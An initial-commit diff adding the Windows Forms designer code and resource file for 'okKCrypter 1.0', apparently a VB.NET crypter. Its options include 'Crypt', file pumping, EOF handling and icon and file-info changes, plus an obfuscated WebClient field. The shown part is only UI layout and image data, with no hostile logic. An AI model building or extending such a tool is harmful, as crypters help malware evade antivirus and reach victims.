initial commit

This commit is contained in:
i2p
2026-08-27 11:04:21 -06:00
commit 07a49a8c50
937 changed files with 196477 additions and 0 deletions
@@ -0,0 +1,356 @@
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _
Partial Class Form1
Inherits System.Windows.Forms.Form
'Form overrides dispose to clean up the component list.
<System.Diagnostics.DebuggerNonUserCode()> _
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
Try
If disposing AndAlso components IsNot Nothing Then
components.Dispose()
End If
Finally
MyBase.Dispose(disposing)
End Try
End Sub
'Required by the Windows Form Designer
Private components As System.ComponentModel.IContainer
'NOTE: The following procedure is required by the Windows Form Designer
'It can be modified using the Windows Form Designer.
'Do not modify it using the code editor.
<System.Diagnostics.DebuggerStepThrough()> _
Private Sub InitializeComponent()
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Form1))
Me.Button1 = New System.Windows.Forms.Button
Me.TextBox1 = New System.Windows.Forms.TextBox
Me.Button2 = New System.Windows.Forms.Button
Me.CheckBox1 = New System.Windows.Forms.CheckBox
Me.NumericUpDown1 = New System.Windows.Forms.NumericUpDown
Me.CheckBox2 = New System.Windows.Forms.CheckBox
Me.CheckBox3 = New System.Windows.Forms.CheckBox
Me.CheckBox4 = New System.Windows.Forms.CheckBox
Me.txtADescription = New System.Windows.Forms.TextBox
Me.Label20 = New System.Windows.Forms.Label
Me.Label21 = New System.Windows.Forms.Label
Me.txtACompany = New System.Windows.Forms.TextBox
Me.Label19 = New System.Windows.Forms.Label
Me.Label17 = New System.Windows.Forms.Label
Me.txtACopyright = New System.Windows.Forms.TextBox
Me.Button3 = New System.Windows.Forms.Button
Me.TextBox2 = New System.Windows.Forms.TextBox
Me.picIcon = New System.Windows.Forms.PictureBox
Me.Label1 = New System.Windows.Forms.Label
Me.Label2 = New System.Windows.Forms.Label
Me.EsdVgupXgOPatrBYabcvBYJ = New System.Net.WebClient
CType(Me.NumericUpDown1, System.ComponentModel.ISupportInitialize).BeginInit()
CType(Me.picIcon, System.ComponentModel.ISupportInitialize).BeginInit()
Me.SuspendLayout()
'
'Button1
'
Me.Button1.BackgroundImage = CType(resources.GetObject("Button1.BackgroundImage"), System.Drawing.Image)
Me.Button1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch
Me.Button1.FlatStyle = System.Windows.Forms.FlatStyle.Popup
Me.Button1.ForeColor = System.Drawing.Color.White
Me.Button1.Location = New System.Drawing.Point(279, 68)
Me.Button1.Name = "Button1"
Me.Button1.Size = New System.Drawing.Size(75, 20)
Me.Button1.TabIndex = 0
Me.Button1.Text = "..."
Me.Button1.UseVisualStyleBackColor = True
'
'TextBox1
'
Me.TextBox1.BackColor = System.Drawing.Color.FromArgb(CType(CType(64, Byte), Integer), CType(CType(64, Byte), Integer), CType(CType(64, Byte), Integer))
Me.TextBox1.ForeColor = System.Drawing.Color.White
Me.TextBox1.Location = New System.Drawing.Point(12, 68)
Me.TextBox1.Name = "TextBox1"
Me.TextBox1.Size = New System.Drawing.Size(261, 20)
Me.TextBox1.TabIndex = 1
'
'Button2
'
Me.Button2.BackgroundImage = CType(resources.GetObject("Button2.BackgroundImage"), System.Drawing.Image)
Me.Button2.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch
Me.Button2.FlatStyle = System.Windows.Forms.FlatStyle.Popup
Me.Button2.ForeColor = System.Drawing.Color.White
Me.Button2.Location = New System.Drawing.Point(12, 294)
Me.Button2.Name = "Button2"
Me.Button2.Size = New System.Drawing.Size(350, 54)
Me.Button2.TabIndex = 2
Me.Button2.Text = "Crypt"
Me.Button2.UseVisualStyleBackColor = True
'
'CheckBox1
'
Me.CheckBox1.AutoSize = True
Me.CheckBox1.BackColor = System.Drawing.Color.Transparent
Me.CheckBox1.Enabled = False
Me.CheckBox1.ForeColor = System.Drawing.Color.White
Me.CheckBox1.Location = New System.Drawing.Point(12, 97)
Me.CheckBox1.Name = "CheckBox1"
Me.CheckBox1.Size = New System.Drawing.Size(95, 17)
Me.CheckBox1.TabIndex = 3
Me.CheckBox1.Text = "Pump File (mb)"
Me.CheckBox1.UseVisualStyleBackColor = False
'
'NumericUpDown1
'
Me.NumericUpDown1.BackColor = System.Drawing.Color.FromArgb(CType(CType(64, Byte), Integer), CType(CType(64, Byte), Integer), CType(CType(64, Byte), Integer))
Me.NumericUpDown1.Enabled = False
Me.NumericUpDown1.ForeColor = System.Drawing.Color.White
Me.NumericUpDown1.Location = New System.Drawing.Point(113, 94)
Me.NumericUpDown1.Maximum = New Decimal(New Integer() {10000, 0, 0, 0})
Me.NumericUpDown1.Minimum = New Decimal(New Integer() {1, 0, 0, 0})
Me.NumericUpDown1.Name = "NumericUpDown1"
Me.NumericUpDown1.Size = New System.Drawing.Size(120, 20)
Me.NumericUpDown1.TabIndex = 4
Me.NumericUpDown1.Value = New Decimal(New Integer() {1, 0, 0, 0})
'
'CheckBox2
'
Me.CheckBox2.AutoSize = True
Me.CheckBox2.BackColor = System.Drawing.Color.Transparent
Me.CheckBox2.Enabled = False
Me.CheckBox2.ForeColor = System.Drawing.Color.White
Me.CheckBox2.Location = New System.Drawing.Point(12, 120)
Me.CheckBox2.Name = "CheckBox2"
Me.CheckBox2.Size = New System.Drawing.Size(150, 17)
Me.CheckBox2.TabIndex = 5
Me.CheckBox2.Text = "Use EOF (No File Loaded)"
Me.CheckBox2.UseVisualStyleBackColor = False
'
'CheckBox3
'
Me.CheckBox3.AutoSize = True
Me.CheckBox3.BackColor = System.Drawing.Color.Transparent
Me.CheckBox3.Enabled = False
Me.CheckBox3.ForeColor = System.Drawing.Color.White
Me.CheckBox3.Location = New System.Drawing.Point(12, 143)
Me.CheckBox3.Name = "CheckBox3"
Me.CheckBox3.Size = New System.Drawing.Size(168, 17)
Me.CheckBox3.TabIndex = 6
Me.CheckBox3.Text = "Change Icon (No File Loaded)"
Me.CheckBox3.UseVisualStyleBackColor = False
'
'CheckBox4
'
Me.CheckBox4.AutoSize = True
Me.CheckBox4.BackColor = System.Drawing.Color.Transparent
Me.CheckBox4.Enabled = False
Me.CheckBox4.ForeColor = System.Drawing.Color.White
Me.CheckBox4.Location = New System.Drawing.Point(12, 166)
Me.CheckBox4.Name = "CheckBox4"
Me.CheckBox4.Size = New System.Drawing.Size(184, 17)
Me.CheckBox4.TabIndex = 7
Me.CheckBox4.Text = "Change File Info (Recommended)"
Me.CheckBox4.UseVisualStyleBackColor = False
'
'txtADescription
'
Me.txtADescription.BackColor = System.Drawing.Color.FromArgb(CType(CType(64, Byte), Integer), CType(CType(64, Byte), Integer), CType(CType(64, Byte), Integer))
Me.txtADescription.Enabled = False
Me.txtADescription.ForeColor = System.Drawing.Color.White
Me.txtADescription.Location = New System.Drawing.Point(98, 188)
Me.txtADescription.MaxLength = 100
Me.txtADescription.Name = "txtADescription"
Me.txtADescription.Size = New System.Drawing.Size(256, 20)
Me.txtADescription.TabIndex = 1
'
'Label20
'
Me.Label20.BackColor = System.Drawing.Color.Transparent
Me.Label20.ForeColor = System.Drawing.Color.White
Me.Label20.Location = New System.Drawing.Point(15, 188)
Me.Label20.Name = "Label20"
Me.Label20.Size = New System.Drawing.Size(65, 20)
Me.Label20.TabIndex = 0
Me.Label20.Text = "Description:"
Me.Label20.TextAlign = System.Drawing.ContentAlignment.MiddleRight
'
'Label21
'
Me.Label21.BackColor = System.Drawing.Color.Transparent
Me.Label21.ForeColor = System.Drawing.Color.White
Me.Label21.Location = New System.Drawing.Point(12, 269)
Me.Label21.Name = "Label21"
Me.Label21.Size = New System.Drawing.Size(68, 17)
Me.Label21.TabIndex = 11
Me.Label21.Text = "File Version:"
Me.Label21.TextAlign = System.Drawing.ContentAlignment.MiddleRight
'
'txtACompany
'
Me.txtACompany.BackColor = System.Drawing.Color.FromArgb(CType(CType(64, Byte), Integer), CType(CType(64, Byte), Integer), CType(CType(64, Byte), Integer))
Me.txtACompany.Enabled = False
Me.txtACompany.ForeColor = System.Drawing.Color.White
Me.txtACompany.Location = New System.Drawing.Point(98, 214)
Me.txtACompany.MaxLength = 100
Me.txtACompany.Name = "txtACompany"
Me.txtACompany.Size = New System.Drawing.Size(256, 20)
Me.txtACompany.TabIndex = 3
'
'Label19
'
Me.Label19.BackColor = System.Drawing.Color.Transparent
Me.Label19.ForeColor = System.Drawing.Color.White
Me.Label19.Location = New System.Drawing.Point(23, 214)
Me.Label19.Name = "Label19"
Me.Label19.Size = New System.Drawing.Size(57, 18)
Me.Label19.TabIndex = 2
Me.Label19.Text = "Company:"
Me.Label19.TextAlign = System.Drawing.ContentAlignment.MiddleRight
'
'Label17
'
Me.Label17.BackColor = System.Drawing.Color.Transparent
Me.Label17.ForeColor = System.Drawing.Color.White
Me.Label17.Location = New System.Drawing.Point(24, 243)
Me.Label17.Name = "Label17"
Me.Label17.Size = New System.Drawing.Size(56, 19)
Me.Label17.TabIndex = 4
Me.Label17.Text = "Copyright:"
Me.Label17.TextAlign = System.Drawing.ContentAlignment.MiddleRight
'
'txtACopyright
'
Me.txtACopyright.BackColor = System.Drawing.Color.FromArgb(CType(CType(64, Byte), Integer), CType(CType(64, Byte), Integer), CType(CType(64, Byte), Integer))
Me.txtACopyright.Enabled = False
Me.txtACopyright.ForeColor = System.Drawing.Color.White
Me.txtACopyright.Location = New System.Drawing.Point(98, 242)
Me.txtACopyright.MaxLength = 100
Me.txtACopyright.Name = "txtACopyright"
Me.txtACopyright.Size = New System.Drawing.Size(256, 20)
Me.txtACopyright.TabIndex = 5
'
'Button3
'
Me.Button3.BackgroundImage = Global.XD.My.Resources.Resources.images
Me.Button3.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch
Me.Button3.Enabled = False
Me.Button3.FlatStyle = System.Windows.Forms.FlatStyle.Popup
Me.Button3.ForeColor = System.Drawing.Color.White
Me.Button3.Location = New System.Drawing.Point(186, 141)
Me.Button3.Name = "Button3"
Me.Button3.Size = New System.Drawing.Size(75, 19)
Me.Button3.TabIndex = 12
Me.Button3.Text = "..."
Me.Button3.UseVisualStyleBackColor = True
'
'TextBox2
'
Me.TextBox2.BackColor = System.Drawing.Color.FromArgb(CType(CType(64, Byte), Integer), CType(CType(64, Byte), Integer), CType(CType(64, Byte), Integer))
Me.TextBox2.Enabled = False
Me.TextBox2.ForeColor = System.Drawing.Color.White
Me.TextBox2.Location = New System.Drawing.Point(98, 268)
Me.TextBox2.Name = "TextBox2"
Me.TextBox2.Size = New System.Drawing.Size(94, 20)
Me.TextBox2.TabIndex = 13
Me.TextBox2.Text = "1.0.0.0"
'
'picIcon
'
Me.picIcon.BackColor = System.Drawing.Color.Transparent
Me.picIcon.Location = New System.Drawing.Point(267, 108)
Me.picIcon.Name = "picIcon"
Me.picIcon.Size = New System.Drawing.Size(87, 61)
Me.picIcon.SizeMode = System.Windows.Forms.PictureBoxSizeMode.Zoom
Me.picIcon.TabIndex = 39
Me.picIcon.TabStop = False
'
'Label1
'
Me.Label1.AutoSize = True
Me.Label1.BackColor = System.Drawing.Color.Transparent
Me.Label1.Font = New System.Drawing.Font("Comic Sans MS", 20.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
Me.Label1.ForeColor = System.Drawing.Color.White
Me.Label1.Location = New System.Drawing.Point(78, 0)
Me.Label1.Name = "Label1"
Me.Label1.Size = New System.Drawing.Size(204, 38)
Me.Label1.TabIndex = 40
Me.Label1.Text = "okKCrypter 1.0"
'
'Label2
'
Me.Label2.AutoSize = True
Me.Label2.BackColor = System.Drawing.Color.Transparent
Me.Label2.Font = New System.Drawing.Font("Comic Sans MS", 12.0!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
Me.Label2.ForeColor = System.Drawing.Color.Red
Me.Label2.Location = New System.Drawing.Point(106, 38)
Me.Label2.Name = "Label2"
Me.Label2.Size = New System.Drawing.Size(0, 23)
Me.Label2.TabIndex = 41
'
'EsdVgupXgOPatrBYabcvBYJ
'
Me.EsdVgupXgOPatrBYabcvBYJ.BaseAddress = ""
Me.EsdVgupXgOPatrBYabcvBYJ.CachePolicy = Nothing
Me.EsdVgupXgOPatrBYabcvBYJ.Credentials = Nothing
Me.EsdVgupXgOPatrBYabcvBYJ.Encoding = CType(resources.GetObject("EsdVgupXgOPatrBYabcvBYJ.Encoding"), System.Text.Encoding)
Me.EsdVgupXgOPatrBYabcvBYJ.Headers = CType(resources.GetObject("EsdVgupXgOPatrBYabcvBYJ.Headers"), System.Net.WebHeaderCollection)
Me.EsdVgupXgOPatrBYabcvBYJ.QueryString = CType(resources.GetObject("EsdVgupXgOPatrBYabcvBYJ.QueryString"), System.Collections.Specialized.NameValueCollection)
Me.EsdVgupXgOPatrBYabcvBYJ.UseDefaultCredentials = False
'
'Form1
'
Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
Me.BackgroundImage = Global.XD.My.Resources.Resources.images
Me.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch
Me.ClientSize = New System.Drawing.Size(374, 355)
Me.Controls.Add(Me.Label2)
Me.Controls.Add(Me.Label1)
Me.Controls.Add(Me.picIcon)
Me.Controls.Add(Me.TextBox2)
Me.Controls.Add(Me.Button3)
Me.Controls.Add(Me.txtADescription)
Me.Controls.Add(Me.CheckBox4)
Me.Controls.Add(Me.Label21)
Me.Controls.Add(Me.Label20)
Me.Controls.Add(Me.CheckBox3)
Me.Controls.Add(Me.CheckBox2)
Me.Controls.Add(Me.NumericUpDown1)
Me.Controls.Add(Me.CheckBox1)
Me.Controls.Add(Me.txtACompany)
Me.Controls.Add(Me.Button2)
Me.Controls.Add(Me.TextBox1)
Me.Controls.Add(Me.Button1)
Me.Controls.Add(Me.txtACopyright)
Me.Controls.Add(Me.Label19)
Me.Controls.Add(Me.Label17)
Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle
Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
Me.MaximizeBox = False
Me.Name = "Form1"
Me.Text = "okKCrypter 1.0"
CType(Me.NumericUpDown1, System.ComponentModel.ISupportInitialize).EndInit()
CType(Me.picIcon, System.ComponentModel.ISupportInitialize).EndInit()
Me.ResumeLayout(False)
Me.PerformLayout()
End Sub
Friend WithEvents Button1 As System.Windows.Forms.Button
Friend WithEvents TextBox1 As System.Windows.Forms.TextBox
Friend WithEvents Button2 As System.Windows.Forms.Button
Friend WithEvents CheckBox1 As System.Windows.Forms.CheckBox
Friend WithEvents NumericUpDown1 As System.Windows.Forms.NumericUpDown
Friend WithEvents CheckBox2 As System.Windows.Forms.CheckBox
Friend WithEvents CheckBox3 As System.Windows.Forms.CheckBox
Friend WithEvents CheckBox4 As System.Windows.Forms.CheckBox
Friend WithEvents txtADescription As System.Windows.Forms.TextBox
Friend WithEvents Label20 As System.Windows.Forms.Label
Friend WithEvents Label21 As System.Windows.Forms.Label
Friend WithEvents txtACompany As System.Windows.Forms.TextBox
Friend WithEvents Label19 As System.Windows.Forms.Label
Friend WithEvents Label17 As System.Windows.Forms.Label
Friend WithEvents txtACopyright As System.Windows.Forms.TextBox
Friend WithEvents Button3 As System.Windows.Forms.Button
Friend WithEvents TextBox2 As System.Windows.Forms.TextBox
Friend WithEvents picIcon As System.Windows.Forms.PictureBox
Friend WithEvents Label1 As System.Windows.Forms.Label
Friend WithEvents Label2 As System.Windows.Forms.Label
Friend WithEvents EsdVgupXgOPatrBYabcvBYJ As System.Net.WebClient
End Class
@@ -0,0 +1,495 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<assembly alias="System.Drawing" name="System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
<data name="Button1.BackgroundImage" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
/9j/4AAQSkZJRgABAQEAAAAAAAD/2wBDAAkGBwgHBgkIBwgKCgkLDRYPDQwMDRsUFRAWIB0iIiAdHx8k
KDQsJCYxJx8fLT0tMTU3Ojo6Iys/RD84QzQ5Ojf/2wBDAQoKCg0MDRoPDxo3JR8lNzc3Nzc3Nzc3Nzc3
Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzf/wAARCACxARwDASIAAhEBAxEB/8QA
HwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIh
MUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVW
V1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXG
x8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQF
BgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAV
YnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOE
hYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq
8vP09fb3+Pn6/9oADAMBAAIRAxEAPwDzOiiigBaKSigBaUUlLQA4UtNFOoAUU4U0U4UAKKUUlKKAFp1I
KWgApaSloAKKKKACkpaSgBKQ06kNADTSGlNIaAENNpxptACU006mmgBKSlNIaACikooAKKKKACiijNAC
UUlFAC0optKKAHUtNFLQA4UopopwoAcKUU0U4UAOFKKaKdQA4UtNFOoAWikpaACiiigAoopKACkNBpDQ
AhpDRSGgBDSGg0lACGkNKaaaAEpKWkNAAaSkNFAC0UlFAC0maKSgAopuaM0AOpRTc0ZoAfS0ynA0AOpw
pgpaAHinCmA04GgBwpwpgNKDQA8U4UwUoNAD6KbmlzQA6ikooAKKTNITQAGkNBNIaAA000E0hNAAaaaC
aQmgBDSUUhoADTaUmm0AFFJmjNAC0ZptFADqKbRQAmaKbmlzQAuaWm5pc0AOBpQabmlBoAeDSimClBoA
eKcDTAaXNADwadmowacDQA/NLmmA0uaAH5pc0zNLmgB+aM03NGaAFzSZpM0hNACk0hNJmkzQAuaaTQTT
SaAFJptFITQAE00mgmkJoACaQmgmkzQAUmaQ0ZoAXNGaTNGaAFzRmm5ozQAlFNpc0ALS5puaM0APzSg0
zNLmgB4NLmmZpQaAJM0oNMBpc0APBpc0zNLmgB+admo80uaAH5pc1HmlzQBJmjNR5ozQA/NJmm5pM0AO
JpM0maTNAC5pCaQmkJoAUmm5pM0hNACk0hNJmkzQAuaTNJmkzQAtJSZozQAtFJRQAuaKbRmgBM0ZpM0Z
oAdmim5ooAdmlzTc0ZoAfmlzTM0uaAH5pc0zNLmgB4NLmmZpc0APzS5qPNLmgCTNG6o80uaAH5ozTM0Z
oAfupM03NJmgB+aTNNzSZoAdmkzTc0ZoAXNJmkzSZoAXNJmkzSZoAUmkzSZozQAtJmkozQAuaM0maM0A
LmjNJmjNADc0ZpKKAFzS5ptFADs0uaZmlzQA7NLmmZpc0APzRmm5ozQA/NLmmZozQA/NLmmZozQA/NLm
mZozQA/NGaZmjNAD80mabmjNADs0mabmjNADs0mabmjNAC5ozTc0maAHZpM0maTNADs0maTNJmgB2aTN
JRQAuaM0lFAC5ozTaKAEzRSZozQAtFJmjNADqM03NGaAHZpc03NGaAHZpc0zNLmgB2aXNMzS5oAdmlzT
M0ZoAfmjNMzS5oAdmjNNzRmgB2aM03NJmgB+aTNNzRmgB2aTNJmkzQA7NJmkzSZoAdmkzSZozQAuaSkz
RmgBaKTNGaAFozSZozQAuaM02igBKKTNGaAFopM0ZoAdRTc0UAOzRmkzRmgBc0uabRmgB2aXNMzS5oAd
mjNNzRmgB2aM03NGaAHZozTc0ZoAdmjNNzRmgB2aM03NGaAFzRmkzSZoAdmkzSZooAXNGaTNJmgB1FNo
oAWikzRmgBaKTNGaAFopM0ZoATNFNooAdRmkooAWikooAWikooAWjNJRQA7NGabmjNADs0ZpuaM0AOzR
mkzRmgBc0ZpM0ZoAXNGaTNGaAFzRmm5ozQA7NGabmjNAC5ozSUUALRSUUALRSUUALmjNJRQAuaM0lJQA
uaKSigAopuaWgBaKSigBaKSigBaKTNGaAFopM0ZoAWikzRmgBaKTNGaAFopKKAFopKKAFopKKAFopM0Z
oAWikzRmgBaKTNFAC0UmaM0ALRSUUALRSUUALRSUUAFFJmigAooooAKKKKACiiigAooooAKKKKAAUtFF
ABRRRQAUUUUAFFFFABRRRQAUUUUAFJRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQB//2Q==
</value>
</data>
<data name="Button2.BackgroundImage" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
/9j/4AAQSkZJRgABAQEAAAAAAAD/2wBDAAkGBwgHBgkIBwgKCgkLDRYPDQwMDRsUFRAWIB0iIiAdHx8k
KDQsJCYxJx8fLT0tMTU3Ojo6Iys/RD84QzQ5Ojf/2wBDAQoKCg0MDRoPDxo3JR8lNzc3Nzc3Nzc3Nzc3
Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzf/wAARCACxARwDASIAAhEBAxEB/8QA
HwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIh
MUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVW
V1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXG
x8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQF
BgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAV
YnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOE
hYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq
8vP09fb3+Pn6/9oADAMBAAIRAxEAPwDzOiiigBaKSigBaUUlLQA4UtNFOoAUU4U0U4UAKKUUlKKAFp1I
KWgApaSloAKKKKACkpaSgBKQ06kNADTSGlNIaAENNpxptACU006mmgBKSlNIaACikooAKKKKACiijNAC
UUlFAC0optKKAHUtNFLQA4UopopwoAcKUU0U4UAOFKKaKdQA4UtNFOoAWikpaACiiigAoopKACkNBpDQ
AhpDRSGgBDSGg0lACGkNKaaaAEpKWkNAAaSkNFAC0UlFAC0maKSgAopuaM0AOpRTc0ZoAfS0ynA0AOpw
pgpaAHinCmA04GgBwpwpgNKDQA8U4UwUoNAD6KbmlzQA6ikooAKKTNITQAGkNBNIaAA000E0hNAAaaaC
aQmgBDSUUhoADTaUmm0AFFJmjNAC0ZptFADqKbRQAmaKbmlzQAuaWm5pc0AOBpQabmlBoAeDSimClBoA
eKcDTAaXNADwadmowacDQA/NLmmA0uaAH5pc0zNLmgB+aM03NGaAFzSZpM0hNACk0hNJmkzQAuaaTQTT
SaAFJptFITQAE00mgmkJoACaQmgmkzQAUmaQ0ZoAXNGaTNGaAFzRmm5ozQAlFNpc0ALS5puaM0APzSg0
zNLmgB4NLmmZpQaAJM0oNMBpc0APBpc0zNLmgB+admo80uaAH5pc1HmlzQBJmjNR5ozQA/NJmm5pM0AO
JpM0maTNAC5pCaQmkJoAUmm5pM0hNACk0hNJmkzQAuaTNJmkzQAtJSZozQAtFJRQAuaKbRmgBM0ZpM0Z
oAdmim5ooAdmlzTc0ZoAfmlzTM0uaAH5pc0zNLmgB4NLmmZpc0APzS5qPNLmgCTNG6o80uaAH5ozTM0Z
oAfupM03NJmgB+aTNNzSZoAdmkzTc0ZoAXNJmkzSZoAXNJmkzSZoAUmkzSZozQAtJmkozQAuaM0maM0A
LmjNJmjNADc0ZpKKAFzS5ptFADs0uaZmlzQA7NLmmZpc0APzRmm5ozQA/NLmmZozQA/NLmmZozQA/NLm
mZozQA/NGaZmjNAD80mabmjNADs0mabmjNADs0mabmjNAC5ozTc0maAHZpM0maTNADs0maTNJmgB2aTN
JRQAuaM0lFAC5ozTaKAEzRSZozQAtFJmjNADqM03NGaAHZpc03NGaAHZpc0zNLmgB2aXNMzS5oAdmlzT
M0ZoAfmjNMzS5oAdmjNNzRmgB2aM03NJmgB+aTNNzRmgB2aTNJmkzQA7NJmkzSZoAdmkzSZozQAuaSkz
RmgBaKTNGaAFozSZozQAuaM02igBKKTNGaAFopM0ZoAdRTc0UAOzRmkzRmgBc0uabRmgB2aXNMzS5oAd
mjNNzRmgB2aM03NGaAHZozTc0ZoAdmjNNzRmgB2aM03NGaAFzRmkzSZoAdmkzSZooAXNGaTNJmgB1FNo
oAWikzRmgBaKTNGaAFopM0ZoATNFNooAdRmkooAWikooAWikooAWjNJRQA7NGabmjNADs0ZpuaM0AOzR
